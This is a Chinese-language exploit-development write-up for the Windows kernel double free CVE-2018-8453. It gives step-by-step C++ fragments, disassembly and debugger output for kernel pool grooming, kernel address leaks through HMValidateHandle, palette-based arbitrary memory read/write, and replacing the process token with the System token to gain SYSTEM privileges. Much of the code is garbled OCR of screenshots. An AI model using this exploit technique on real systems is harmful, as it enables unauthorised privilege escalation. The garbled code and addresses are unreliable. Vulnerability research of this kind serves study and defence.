CVE-2018-8453从BSOD到Exploit

晏子霜

0x00 : 

Windows10 1709 X64 无补丁
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CVE-2018-8
453.exe

ST HAR

desktop-cqvvmu7}1709

PS C:\lsers\1709\Desktop> C:\Users\1709\Desktop\CVE-2018-8453. exe
Window: 0x0000000000050246

Srol1Bar :0x00000000000802C2

Address (user32, dl1) : 0x00007FFC3AZE0000
Address (Isllenu,

HilValidateHandle Address(0x00007FFCEASEBDEO)
Taghnd: Ox1d5bae119£0

TagCls:0x1d5bae11910

A Palette_Address:0xff1££c95¢2792000
Vhere_PALETTE:0x0000000000081C80
W¥hat_PALETTE:0x0000000000081C81
xxxClientAllocWindovClassExtraBytes
Sendllessage

Address (Psapi. d11) :0x00007FFC894A0000
Address (EnunDevi ceDrivers) :0x00007FFC89441020
PS C:\Users\1709\Desktop>

li crosoft Vindows LR 0. 16299, 15]
(c) 2017 Microsoft Corporation. {REZHTEIA

:\Users\ 1709\ Desktop>whoani.
ot authority\system

:\Users\1709\Desktap>

A
Windows 10 S1E
Build 16299.rs3_release.170928-1534
2234

2 a0z B





0x01 :

非常感谢A-Team发表的漏洞分析以及EXPLOIT编写文章,阅览后受益匪浅,因此本文不再阐述漏洞细节,专注于EXPLOIT编写.

通过上文(CVE-2018-8453从BSOD到Exploit(上))得知,触发异常是因为调用win32kfull!xxxEndScroll函数释放了由win32kfull!xxxSBTrackInit函数创建的tagSBTrack结构,接着win32kfull!xxxSBTrackInit函数再次释放了tagSBTrack导致Double Free.

但是该漏洞的利用方案不唯一,在构造EXPLOIT的时候(1703),笔者首先尝试的是通过释放Kernel Pool让保存tagSBTrack结构的块与其他Free的块合并使其变成更大的块,并使用其他保存在Session Pool里的结构重引用这块内存,通过win32kfull!xxxSBTrackInit函数再次释放后,再次申请该结构,修改结构的某些位后转换成ARW Primitives,但是不管笔者怎么操作都没办法合并,只能使用另外一种利用方法,因此实验环境更新为Windows10 1709,不过再1703上利用该漏洞也是一样的,1709的Poc稍作修改即可再1703上使用.

第二种方法也是A-Team在文章中提到的,通过win32kbase!HMAssignmentUnlock函数将父窗口引用彻底清0后,接着会从被释放的保存tagSBTrack的内核池中读取函数指针来调用win32kbase!HMAssignmentUnlock函数来解除引用的窗口,但是由于保存tagSBTrack结构的内核池已经被释放了,所以我们可以去重引用这块内存,并将其内容修改,通过win32kbase!HMAssignmentUnlock函数来构造一个任意地址 -1的漏洞,这样就可以转换成ARW Primitives了.

[image: image2.png]~ loc_1€0217843:

loc_1€0217846:

loc_1C021785A:

call
lea
call
lea

call
mov
call
mov
and

?xxxSBTrackLoop@@YAXPEAUtagWND@@_JPEAUtagSBCALC@@@Z ; X
rax, [rdi+10h]

rbx, [rax+2B0h]

rbx, rbx

short loc 10217875

rex, [rbx+l1gh]

short loc_1C0217846 ; k%

5 CODE XREF: xxxSBTrackInit+3471j
rex, ri2

5 CODE XREF: xxxSBTrackInit+4691j
cs:
rex, [rbx+1oh]
cs:
rex, [rbx+8]

5 CODE XREF: xxxSBTrackInit+21B1j
cs:

rex, rbx

cs:__imp_Win32FreePool

rax, [rdi+1oh]

quord ptr [rax+286h], @




通过逆向win32kbase!HMAssignmentUnlock函数我们发现,该函数会将[[rcx]+8]处内存+(-1)也就是减1,正好我们可控rdx,这样我们离System就更进了一步.

[image: image3.png]public HMAssignmentUnlock

HMAssignmentUnlock proc

near

5 CODE XREF: CleanupKeyboardLayouts+671p
5 CInputDest::SetEmpty(void)+13tp ...

sub rsp, 28h
mov rdx, [rex] 5 [SBTrack+@x**] = rdx
and quord ptr [rex], @
test  rdx, rdx
jz short loc_1C00207DD
or eax, OFFFFFFFFh ; eax = OxFFFFFFFF
lock [add [rdx+8], eax ; + (-1) == -1
cmp eax, 1
jz short loc_1C00207E5
loc_1C00207DD: 3 CODE XREF: HMAssignmentUnlock+E?j
; HMAssignmentUnlock+30!j
mov rax, rdx
add rsp, 28h
retn
loc_1C00207E5: 3 CODE XREF: HMAssignmentUnlock+1B1j
mov rex, rdx
call  HMUnlockObjectInternal
mov rdx, rax
jmp short loc_1C00207DD

HMAssignmentUnlock endp




如何引用被释放的内存呢,这块内存为0x80字节大小,分配在Session Pool中,我们可以通过创建窗口类,设置lpszMenuName属性,来分配任意大小的块.

[image: image4.png]UCHAR MenuNames[0x100] = { © }, ClassName[ox50] = { © };
memset (MenuNames, 0x43, 0x80 - 0x20);

*(ULONG64*) ((ULONG64)MenuNames + 0x10) = To_Where A Palette;
*(ULONG64*) ((ULONG64)MenuNames + 0x08) = To_Where A Palette;

while (I < 0x1000){
sprintf((char *)ClassName, “Windowlaf%d",T);

hiInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.1pfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszienuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = (LPCWSTR)ClassName;

if (IRegisterclassW(&wndclass)){
cout << "RegisterClass Error!” << endl;
return 1;




在EXPLOIT中,笔者分配了0x1000个TagCls结构,TagCls中保存lpszMenuName结构的Pool大小为0x80,正好通过这个复用tagSBTrack结构被释放的内存,通过设置MenuName的内容,我们现在已经得到了一个任意地址 - 1 Or -2的一个漏洞了,但是怎么样才能转化成任意地址读写呢?

这里我们可以考虑使用PALETTE调色板的结构,该GDI函数在Windows10 1709并没有被Type ISOLaTion保护,并且也被分配在Session Pool中,所以我们可以通过泄露PALETTE结构的地址来覆写其中的某些结构实现任意地址读写.

如何泄露调色板结构在内核中的地址呢,没错,还是用我们的lpszMenuName,这里我们通过MenuName创建一个0x1000字节的Pool,接着我们释放该窗口类,这样这块内存就会被释放为Free状态了.

[image: image5.png]UCHAR MenuNames[0x2000] = { 0 }:

memset (MenuNames, 0x43, 0x1000-10) ;

{

hInstance = GetModuleHandleA (0) ;

wndclass. style = CS_HREDRAW | CS_VREDRAW;
wndclass. 1IpfnWndProc = DefWindowProc;
wndclass. hInstance = hInstance;

wndclass. 1pszMenuName = (LPCWSTR)MenuNames ;
wndclass. 1pszClassName = L”LEAKWS”;

if (!RegisterClassW(&wndclass)) {
cout << “RegisterClass Error!” << endl;
return 1;




但是问题来了,即使我们确定PALETTE结构可以重引用被释放的Pool,但是我们如何获取到MenuName的地址呢.

我们可以使用HMValidateHandle()函数,该函数有两个参数,参数1为传入的Windows Object句柄,参数2为句柄属性,该函数会返回查找Windows Object结构在用户态映射下的地址(用户态桌面堆).

但是获取了映射的桌面堆地址,此时依然无法获取到TagCls在内核中的地址,不过TagWnd结构中保存了该结构在内核桌面堆中的地址,我们可以通过 (内核地址-用户地址)得到一个偏移,通过偏移即可算出任意结构在内核桌面堆中的地址了.

[image: image6.png]// BT DILE 7 St s S ) A
PTagWind = (ULONG64)HMValidateHandle (hwnd, 0x01):

UlClientDelta = (ULONG64) ((x (ULONG64%) (PTagWnd + 0x20)) — (ULONG64)PTaglind) ;

TagCls = (x(ULONG64%) (PTagWnd + 0xa8)) — UlClientDelta;




在TagWnd结构中保存了TagCls结构的内核地址,我们只需要用偏移减去TagCls的内核地址就可以获取到TagCls结构在用户桌面堆的映射了.

通过保存在用户桌面堆映射下的TagCls结构找到保存MenuName的地址这样我们就可以得到PALETTE结构的地址了.

[image: image7.png]DestroyWindow (hwnd) ;

return *(ULONG64%) (TagCls + 0x98) ;




现在我们就要考虑,到底要修改PALETTE中的什么结构才能造成ARW PrimItives呢?众所周知,Palette结构中的PFirstColor指针指向保存调色板项的地址,修改PFirstColor指针即可任意地址读写.

但是问题来了,我们只能任意地址 -1 Or -2,虽然说可以连续触发漏洞多次减,但是没办法直接修改一块内存地址的内容为我们想要的值,这样就不能修改PFirstColor了(其实也可以大家可以自行尝试,毕竟思路是活的,类似修改PFirstColor指针指向上面的PALETTE结构,利用读写范围去覆写上面PALETTE的PFristColor指针),这里笔者修改的是cEntries结构,改结构为判断调色板读写范围的,修改了该结构后,可以导致调色板结构越界读写内存(OOB).


[image: image8.png]Palette = (LOGPALETTE¥)malloc (sizeof (LOGPALETTE) +(sizeof (PALETTEENTRY)* (0x1D5 - 0x01))):
memset (Palette, 0x42, sizeof (LOGPALETTE)+(sizeof (PALETTEENTRY)* (0x1D5 — 0x01)));

Palette->palVersion = 0x0300;
Palette—>palNumEntries = 0x1D5;

A_Palette_Address = GetMenuAddress() ;
cout << ”A_Palette Address:0x” << hex << A Palette_Address << endl;
To_Where_A_Palette = A_Palette_Address + 0x2D - 8;
VAACKEE
for (UINT I =0; I < 0x1500; +1) {
CreatePalette (Palette) ;
}
UnregisterClassW (L"LEAKWS”, GetModuleHandleA(0));
Where_PALETTE = CreatePalette (Palette) ;

What_PALETTE = CreatePalette (Palette) ;




这里我们可以看到,笔者设置的cEntries为0x1D5,这样会分配一个0x800字节大小的内核池,我们之前释放了一个0x1000字节的,分配两个0x800字节的,重新引用MenuName的内存,这样分配在一起,修改cEntries结构造成越界读写,修改下面块的PFirstColor即可任意内存读写了.

[image: image9.png]P KD ‘com:port=\\\pipe’ ows10_X64_1709,baud=115200,pipe, Default Connection - - o
Home View Breakpoints. Time Travel Scripting Source N
{7 StepOut ) Step Out Back Restart = " o
|</>| ol
T)Stepinto (7] Step Into Back M Stop Debugging u u u
Bresk Go Go Settings|Source| Assembly  Local Feedback
- [P StepOver '] StepOverBack pac 4 Detach Help~  Hub
Flow Control Reverse Flow Control End Preferences Help
Disassembly - 2 x = x
Address: | @scopeip ollow current instruction
FFF85a5 6cc17843 498bcc mov  rex, r12 ST Y ]
FFff85a5 6cc17846 1524951400 call qword ptr [win32kfull!_imp_HMAssignmentUnlock (ffff85a5” 6cd60d70)] FFFF8SAS 6CC17880 FF 48 88
FFff85a5 6cc1784c 488d4b10 lea  rox, [rbx+10h] FFFFSSAS 6CC17800 41 SF 41
quord ptr [ p_HMAssignmentUnlock (ffff85a5 6cd60d70)] e e s
FFFf85a5 6cc17856 488d4b08 lea  rox, [rbx8] FFEFSSAS 6CCI7BCO 01 00 00
FFff85a5 6cc1785a 1510951400 call qword ptr [win32kfull!_imp_HMAssignmentUnlock (ffff85a5” 6cd60d70)] D FFFFE5AS"6CC17800 24 49 01
R85 Gec 7860/ A8 Et 16 it T I | EEERSS CChare 24 s o
FFEFGSAS 6CCI7BRD 24 A3 00
FFff85a5 6cc17863 FF1577961400 call qword ptr [win32kfull!_imp_Win32FreePool (ffff85a5 6cd60eed)] FFFF8SAS 6(C17900 24 C8 00
FFFF85a5 6cc17869 488b4710 mov  rax, quord ptr [rdi+l6h] FFEFSSAS 6CC17910 24 95 00
FFff85a5 6cc1786d 4883a0b002000000 and quord ptr [rax+2Boh], @ e e
FFFF85a5 6cC17875 488bdd17 mov  rcx, quord ptr [rbp+i7h] FrEFaSAS 6CC17940 00 43 59
Ffff85a5" 6cc17879 4833cc xor rcx, rsp
[T ]
0:kd> dg ffff85d7 4001c000 -]

FFFF85d7° 4001000
FFFF85d7° 4001010
FFFF85d7° 4001020
FFFF85d7° 4001030
FFFF85d7° 4001040
FFFF85d7° 4001050
FFFF85d7° 4001060
FFFF85d7° 4001070

38306847 23800000
FEFFFFFF 92083004
FFffa781" 02992700
00000000" 00108b9d
60000000” 00000000
60000000” 00000000
60000000” 00000000
00000001” 00000002

|le:kd> !pool ffff85d7 4001c025

Pool page ffff85d74001c025 region is

*fff85d74001c000 size:
Pooltag Ghos

85474001800 size:

800 previous size:
GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
800 previous size:

00000000 00000000
00000000 00000000
FFFFFFdS 00000501
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000

Paged session pool
© (Allocated) *Ghes

800 (Allocated) Ghes

110:ka>]





经过两次-1后,Palette结构的cEntries变成了0xffffffd5,这样我们就可以越界读写后面PALETTE结构的内容了!

[image: image10.png]//WEAEH90x1DE $HL What_Palette HIAJHA
(Where_PALETTE, OxIDE, 2, (LPPALETTEENTRY)&Data);




首先越界读取第二块PALETTE结构的句柄,保存在Data里,判断越界和池分配是否正常,如果正常再进行下一步,当然如果不正常肯定是蓝屏的,除非在该进程中再次触发漏洞修复异常的Kernel Pool.

[image: image11.png]*(ULONG64%) Data = System_EPROCESS:
//i%HXSystem_EPRCOESS
SetPaletteEntries (Vhere PALETTE, OxIDE+0x1E, 2, (LPPALETTEENTRY)&Data):

GetPaletteEntries (What_PALETTE, 0, 2, (LPPALETTEENTRY)&System EPROCESS_Address);

//i%HiSystem Token

ULONG64 SystemToken = NULL;

*(ULONG64%) Data = System EPROCESS_Address + 0x358;

SetPaletteEntries (Where PALETTE, Ox1DE + Ox1E, 2, (LPPALETTEENTRY)&Data):
(What_PALETTE, 0, 2, (LPPALETTEENTRY)&SystemToken) ;

//AET8 2 i HEFE Token

ULONG64 Token_Address = FindThisProcessEPROCESSAddress () ;

*(ULONG64%) Data = Token_Address;

SetPaletteEntries (Where PALETTE, Ox1DE + Ox1E, 2, (LPPALETTEENTRY)&Data):
SetPaletteEntries (What_PALETTE, 0, 2, (LPPALETTEENTRY)&SystemToken) ;




通过SetPaletteEntries()以及GetPaletteEntries()函数,即可在Ring3来任意内存读写了,此时我们的任务基本上就完成了,但是还有一点很重要,就是如果这样结束进程,那么一定会蓝屏(BSOD),为什么呢,因为我们用了TagCls结构中的lpszMenuName来重新引用tagSBTrack这个被释放的内存后,再次被win32kfull!xxxSBTrackInit给释放了,如果我们不做点什么的话,结束进程会立刻蓝屏.

不过不要怕,在写EXPLOIT的时候笔者以及解决这个问题了,笔者创建了一个0x1000个项的ULONG64数组,保存了我们用于占位的TagCls中指向lpszMenuName的地址,此时该派上用场了!

[image: image12.png]hwnd = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL):;
PTagWnd = (ULONG64)HMValidateHandle (hwnd, 0x01):

UlClientDelta = (ULONG64) ((x (ULONG64%) (PTagWnd + 0x20)) — (ULONG64)PTaglind) ;

TagCls = (% (ULONG64%) (PTaglind + 0xa8)) — UlClientDelta;

//Kernel Pool TagCls. 1pszMenuName
TagCls_Menu_Address[I] = TagCls + 0x98 + UlClientDelta;

++1:




接着我们用调色板结构的任意地址读写将TagCls中保存MenuName的结构赋值为0,这样释放TagCls时系统就会认为没有申请MenuName,因为保存MenuName的结构为0.

[image: image13.png]VOID FMenuName (VOID) {
ULONG64 Zero = 0;

UCHAR Menu[0x20] = { 0 };
for (UINT I = 0; I <0x1000; +I){
if (TagCls_Menu_Address[I] == 0) {
continue;
}
* (ULONG64%) Menu = TagCls_Menu_Address[I];
SetPaletteEntries (Where PALETTE, OxIDE + Ox1E, 2, (LPPALETTEENTRY)&Menu);

SetPaletteEntries (What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);




处理好善后工作后本文就结束了,十分感谢大家的观看,以及A-Team分享的文章
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